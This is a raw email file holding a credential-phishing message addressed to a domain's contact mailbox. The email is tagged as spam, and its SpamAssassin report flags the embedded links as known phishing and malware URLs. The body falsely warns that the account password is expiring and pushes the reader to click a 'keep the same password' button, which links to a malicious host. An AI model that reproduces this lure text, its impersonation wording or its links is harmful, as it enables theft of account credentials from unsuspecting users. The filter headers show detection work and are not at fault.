OwlCyberSecurity - MANAGER
Edit File: 1726159100.M43234P527404.premium128.web-hosting.com,S=10123,W=10302:2,
Return-Path: <alarm@raysyun.com> Delivered-To: contact+spam@gourayafroid.com Received: from premium128.web-hosting.com by premium128.web-hosting.com with LMTP id ONM3NfsY42YsDAgAAvhI2g (envelope-from <alarm@raysyun.com>) for <contact+spam@gourayafroid.com>; Thu, 12 Sep 2024 12:38:19 -0400 Return-path: <alarm@raysyun.com> Envelope-to: contact@gourayafroid.com Delivery-date: Thu, 12 Sep 2024 12:38:20 -0400 Received: from [58.48.54.154] (port=2081 helo=raysyun.com) by premium128.web-hosting.com with esmtp (Exim 4.96.2) (envelope-from <alarm@raysyun.com>) id 1somph-002E7R-33 for contact@gourayafroid.com; Thu, 12 Sep 2024 12:38:19 -0400 Received: from WIN-CS75A7L4O90 (unknown [45.133.174.29]) by raysyun.com (Postfix) with ESMTPSA id 4BF491395CA for <contact@gourayafroid.com>; Thu, 12 Sep 2024 23:28:19 +0800 (CST) DKIM-Filter: OpenDKIM Filter v2.11.0 raysyun.com 4BF491395CA From: "Password notification!!!" <alarm@raysyun.com> To: <contact@gourayafroid.com> Content-Type: multipart/alternative; boundary="r3AYtVJbHRK3c9v93jW1RovuYM1GCId=_E" MIME-Version: 1.0 Date: Thu, 12 Sep 2024 08:31:26 -0700 Message-Id: <202412090831240C3EAF5633$6E92CF3272@raysyun.com> X-Spam-Status: Yes, score=11.8 X-Spam-Score: 118 X-Spam-Bar: +++++++++++ X-Spam-Report: Spam detection software, running on the system "premium128.web-hosting.com", has identified this incoming email as possible spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see root\@localhost for details. Content preview: gourayafroid.com Your contact@gourayafroid.com password is about to expire (Action Required) You must take immediate steps to maintain and avoid restricting access to your gourayafroid.com account keep the same password https://apst.standard.us-east-1.oortech.com/apst/engg.net?signature=ce16195c6923d7a0bd4101286bc97cd8cf57f30690684b51de00702d9d539e3e7a772d6d79bbced2fd0be64d22ce254c55520c7f698fc [...] Content analysis details: (11.8 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was blocked. See http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block for more information. [URIs: gourayafroid.com] 2.5 URIBL_DBL_PHISH Contains a Phishing URL listed in the Spamhaus DBL blocklist [URIs: oortech.com] 2.5 URIBL_DBL_MALWARE Contains a malware URL listed in the Spamhaus DBL blocklist [URIs: oortech.com] 3.6 RCVD_IN_PBL RBL: Received via a relay in Spamhaus PBL [58.48.54.154 listed in zen.spamhaus.org] 1.2 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net [Blocked - see <https://www.spamcop.net/bl.shtml?58.48.54.154>] 0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [58.48.54.154 listed in sa-trusted.bondedsender.org] 0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [58.48.54.154 listed in bl.score.senderscore.com] -0.0 SPF_HELO_PASS SPF: HELO matches SPF record -0.0 SPF_PASS SPF: sender matches SPF record 0.0 HTML_MESSAGE BODY: HTML included in message 0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or identical to background 0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict Alignment 2.0 RDNS_NONE Delivered to internal network by a host with no rDNS X-Spam-Flag: YES Subject: ***SPAM*** Password Notifications - Take Action Now This is a multi-part message in MIME format --r3AYtVJbHRK3c9v93jW1RovuYM1GCId=_E Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable gourayafroid.com Your contact@gourayafroid.com password is about to expire (Action Requ= ired) You must take immediate steps to maintain and avoid restricting = access to your gourayafroid.com account=20 keep the same password https://apst.standard.us-east-1.oortech.com/aps= t/engg.net?signature=3Dce16195c6923d7a0bd4101286bc97cd8cf57f30690684b5= 1de00702d9d539e3e7a772d6d79bbced2fd0be64d22ce254c55520c7f698fcb9f51d5d= 99358145e9c8b4d133764690873b75ab3e2f8e90acf84152152e25973187c63980efa4= 8309b1f8e21cdb8485f66d01a71c9d034602e&provider=3D#contact@gourayafroid= =2Ecom Issues discovered in the claims fulfillment system will no longer be i= nvestigated or fixed.=C2=A9 gourayafroid.com 2024 --r3AYtVJbHRK3c9v93jW1RovuYM1GCId=_E Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable <html><head> <meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Dutf-= 8"> <META name=3D"viewport" content=3D"width=3Ddevice-width, initial-sca= le=3D1"> <META name=3D"format-detection" content=3D"telephone=3Dno"><t= itle>Password Notifications - Take Action Now</title> </head> <body style=3D"BACKGROUND-COLOR: #ffffff" bgColor=3D#ffffff> <P style= =3D"BOX-SIZING: border-box; FONT-SIZE: 15px; FONT-FAMILY: Roboto, sans= -serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; = FONT-WEIGHT: 400; COLOR: rgb(36,36,36); FONT-STYLE: normal; ORPHANS: 2= ; WIDOWS: 2; MARGIN-TOP: 0px; TEXT-INDENT: 0px; font-variant-ligatures= : normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; t= ext-decoration-thickness: initial; text-decoration-style: initial; tex= t-decoration-color: initial" align=3Dcenter><SPAN style=3D"BOX-SIZING:= border-box; FONT-FAMILY: Arial"><SPAN style=3D"BOX-SIZING: border-box= ; FONT-WEIGHT: bolder"><SPAN style=3D"BOX-SIZING: border-box; FONT-SIZ= E: 23pt"><SPAN style=3D"BOX-SIZING: border-box; COLOR: rgb(238,97,17)"= >gourayafroid.com</SPAN></SPAN></SPAN></SPAN></p><p style=3D"BOX-SIZIN= G: border-box; FONT-SIZE: 14px; FONT-FAMILY: Roboto, sans-serif; WHITE= -SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: = 400; COLOR: rgb(44,54,58); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; = MARGIN-TOP: 0px; TEXT-INDENT: 0px; font-variant-ligatures: normal; fon= t-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoratio= n-thickness: initial; text-decoration-style: initial; text-decoration-= color: initial" align=3Dcenter><SPAN style=3D"FONT-SIZE: small; FONT-F= AMILY: Arial, Helvetica, sans-serif; COLOR: rgb(34,34,34)">Your contac= t@gourayafroid.com password is about to expire (Action Required) You m= ust take immediate steps to maintain and avoid restricting access to y= our gourayafroid.com account</SPAN> <BR></p><p style=3D"BOX-= SIZING: border-box; MARGIN-BOTTOM: 0px; FONT-SIZE: 14px; FONT-FAMILY: = Roboto, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANS= FORM: none; FONT-WEIGHT: 400; COLOR: rgb(44,54,58); PADDING-BOTTOM: 20= px; FONT-STYLE: normal; TEXT-ALIGN: center; PADDING-TOP: 20px; PADDING= -LEFT: 0px; ORPHANS: 2; WIDOWS: 2; MARGIN-TOP: 0px; PADDING-RIGHT: 0px= ; TEXT-INDENT: 0px; font-variant-ligatures: normal; font-variant-caps:= normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: in= itial; text-decoration-style: initial; text-decoration-color: initial"= ><A title=3D"Read Fax" style=3D"BOX-SIZING: border-box; BACKGROUND: rg= b(227,96,9); COLOR: rgb(255,255,255); PADDING-BOTTOM: 11px; PADDING-TO= P: 11px; PADDING-LEFT: 24px; PADDING-RIGHT: 24px; text-decoration-line= : none" href=3D"https://apst.standard.us-east-1.oortech.com/apst/engg.= net?signature=3Dce16195c6923d7a0bd4101286bc97cd8cf57f30690684b51de0070= 2d9d539e3e7a772d6d79bbced2fd0be64d22ce254c55520c7f698fcb9f51d5d9935814= 5e9c8b4d133764690873b75ab3e2f8e90acf84152152e25973187c63980efa48309b1f= 8e21cdb8485f66d01a71c9d034602e&provider=3D#contact@gourayafroid.co= m" rel=3Dnoreferrer target=3D_blank data-saferedirecturl=3D"https://ww= w.google.com/url?q=3Dhttps://himspeshawar.edu.pk/justok/redirect.php/?= login%3D%5BNo_fieldname%5D&source=3Dgmail&ust=3D17262196549960= 00&usg=3DAOvVaw1eqt---fcE150aa-21Z6Pm">keep the same password</A>&= nbsp; <SPAN style=3D"BOX-SIZING: border-box; COLOR: rgb(227= ,96,9)"> </SPAN></p><p style=3D"BOX-SIZING: border-b= ox; MARGIN-BOTTOM: 0px; FONT-SIZE: 14px; FONT-FAMILY: Roboto, sans-ser= if; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT= -WEIGHT: 400; COLOR: rgb(44,54,58); PADDING-BOTTOM: 20px; FONT-STYLE: = normal; TEXT-ALIGN: center; PADDING-TOP: 20px; PADDING-LEFT: 0px; ORPH= ANS: 2; WIDOWS: 2; MARGIN-TOP: 0px; PADDING-RIGHT: 0px; TEXT-INDENT: 0= px; font-variant-ligatures: normal; font-variant-caps: normal; -webkit= -text-stroke-width: 0px; text-decoration-thickness: initial; text-deco= ration-style: initial; text-decoration-color: initial"><SPAN style=3D"= BOX-SIZING: border-box; FONT-SIZE: small; FONT-FAMILY: Arial, Helvetic= a, sans-serif; COLOR: rgb(34,34,34)">Issues discovered in the claims f= ulfillment system will no longer be investigated or fixed.© = gourayafroid.com</SPAN><SPAN style=3D"BOX-SIZING: border-box; FONT-SIZ= E: small; FONT-FAMILY: Arial, Helvetica, sans-serif; COLOR: rgb(34,34,= 34)"> </SPAN> <SPAN style=3D"BOX-SIZING: border-box; FONT-SI= ZE: small; FONT-FAMILY: Arial, Helvetica, sans-serif; COLOR: rgb(34,34= ,34)">2024</SPAN></P></body> </html> --r3AYtVJbHRK3c9v93jW1RovuYM1GCId=_E--